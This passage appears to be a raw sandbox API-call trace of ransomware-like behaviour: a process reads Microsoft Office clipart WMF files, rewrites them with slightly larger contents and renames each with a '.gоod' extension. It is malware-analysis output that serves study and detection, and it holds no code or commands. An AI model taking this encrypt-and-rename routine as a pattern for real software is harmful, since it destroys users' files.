dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0217.928] GetFileType (hFile=0x860) returned 0x1 [0217.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0217.928] GetFileType (hFile=0x860) returned 0x1 [0217.928] WriteFile (in: hFile=0x860, lpBuffer=0x35e2f50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x35e2f50*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0217.928] CloseHandle (hObject=0x860) returned 1 [0217.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", lpFilePart=0x0) returned 0x44 [0217.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0217.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0217.928] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7e1ceea1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2468)) returned 1 [0217.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0217.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.gоod")) returned 1 [0217.929] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF", lpFilePart=0x0) returned 0x44 [0217.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0217.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x36678f0 | out: lpFileInformation=0x36678f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfb8)) returned 1 [0217.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0217.930] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF", lpFilePart=0x0) returned 0x44 [0217.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0217.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0217.930] GetFileType (hFile=0x860) returned 0x1 [0217.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0217.930] GetFileType (hFile=0x860) returned 0x1 [0217.930] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xfb8 [0217.930] ReadFile (in: hFile=0x860, lpBuffer=0x3668b50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3668b50*, lpNumberOfBytesRead=0x1faedc88*=0xfb8, lpOverlapped=0x0) returned 1 [0218.647] CloseHandle (hObject=0x860) returned 1 [0218.778] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF", lpFilePart=0x0) returned 0x44 [0218.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0218.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0219.496] GetFileType (hFile=0x85c) returned 0x1 [0219.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0219.496] GetFileType (hFile=0x85c) returned 0x1 [0219.496] WriteFile (in: hFile=0x85c, lpBuffer=0x368e918*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x368e918*, lpNumberOfBytesWritten=0x1faedb98*=0xfc0, lpOverlapped=0x0) returned 1 [0219.637] CloseHandle (hObject=0x85c) returned 1 [0219.637] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF", lpFilePart=0x0) returned 0x44 [0219.637] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0219.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0219.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7f1ff6d8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfc0)) returned 1 [0219.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0219.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.gоod")) returned 1 [0219.638] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", lpFilePart=0x0) returned 0x44 [0219.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0219.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x37c76b8 | out: lpFileInformation=0x37c76b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x386c)) returned 1 [0219.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0219.638] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", lpFilePart=0x0) returned 0x44 [0219.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0219.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0219.639] GetFileType (hFile=0x85c) returned 0x1 [0219.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0219.639] GetFileType (hFile=0x85c) returned 0x1 [0219.639] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0219.639] ReadFile (in: hFile=0x85c, lpBuffer=0x37c7ad0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37c7ad0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0219.640] CloseHandle (hObject=0x85c) returned 1 [0219.640] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", lpFilePart=0x0) returned 0x44 [0219.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0219.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0219.640] GetFileType (hFile=0x85c) returned 0x1 [0219.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0219.640] GetFileType (hFile=0x85c) returned 0x1 [0219.641] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x386c [0219.641] WriteFile (in: hFile=0x85c, lpBuffer=0x37c8d68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37c8d68*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0219.641] CloseHandle (hObject=0x85c) returned 1 [0219.642] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", lpFilePart=0x0) returned 0x44 [0219.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0219.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0219.642] GetFileType (hFile=0x85c) returned 0x1 [0219.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0219.642] GetFileType (hFile=0x85c) returned 0x1 [0219.642] ReadFile (in: hFile=0x85c, lpBuffer=0x37cb028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37cb028*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0221.145] CloseHandle (hObject=0x85c) returned 1 [0221.145] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", lpFilePart=0x0) returned 0x44 [0221.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0221.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.145] GetFileType (hFile=0x85c) returned 0x1 [0221.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0221.145] GetFileType (hFile=0x85c) returned 0x1 [0221.145] WriteFile (in: hFile=0x85c, lpBuffer=0x362b580*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x362b580*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0221.146] CloseHandle (hObject=0x85c) returned 1 [0221.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", lpFilePart=0x0) returned 0x44 [0221.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0221.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0221.146] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x80063a4c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x387c)) returned 1 [0221.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0221.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.gоod")) returned 1 [0221.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF", lpFilePart=0x0) returned 0x44 [0221.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0221.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x380ab28 | out: lpFileInformation=0x380ab28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600)) returned 1 [0221.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0221.148] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF", lpFilePart=0x0) returned 0x44 [0221.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0221.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.148] GetFileType (hFile=0x85c) returned 0x1 [0221.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0221.148] GetFileType (hFile=0x85c) returned 0x1 [0221.148] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x600 [0221.148] ReadFile (in: hFile=0x85c, lpBuffer=0x380b3d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x380b3d0*, lpNumberOfBytesRead=0x1faedc88*=0x600, lpOverlapped=0x0) returned 1 [0221.150] CloseHandle (hObject=0x85c) returned 1 [0221.598] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF", lpFilePart=0x0) returned 0x44 [0221.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0221.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.599] GetFileType (hFile=0x85c) returned 0x1 [0221.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0221.599] GetFileType (hFile=0x85c) returned 0x1 [0221.600] WriteFile (in: hFile=0x85c, lpBuffer=0x3812788*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3812788*, lpNumberOfBytesWritten=0x1faedb98*=0x610, lpOverlapped=0x0) returned 1 [0221.600] CloseHandle (hObject=0x85c) returned 1 [0221.600] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF", lpFilePart=0x0) returned 0x44 [0221.600] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0221.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0221.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x804b5e69, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x610)) returned 1 [0221.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0221.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.gоod")) returned 1 [0221.602] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", lpFilePart=0x0) returned 0x44 [0221.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0221.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3813a18 | out: lpFileInformation=0x3813a18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1264)) returned 1 [0221.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0221.602] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", lpFilePart=0x0) returned 0x44 [0221.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0221.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.602] GetFileType (hFile=0x85c) returned 0x1 [0221.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0221.602] GetFileType (hFile=0x85c) returned 0x1 [0221.602] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0221.603] ReadFile (in: hFile=0x85c, lpBuffer=0x3814840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3814840*, lpNumberOfBytesRead=0x1faedd28*=0x264, lpOverlapped=0x0) returned 1 [0221.604] CloseHandle (hObject=0x85c) returned 1 [0221.604] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", lpFilePart=0x0) returned 0x44 [0221.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0221.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.604] GetFileType (hFile=0x85c) returned 0x1 [0221.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0221.604] GetFileType (hFile=0x85c) returned 0x1 [0221.604] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1264 [0221.605] WriteFile (in: hFile=0x85c, lpBuffer=0x3815ad8*, nNumberOfBytesToWrite=0x10, 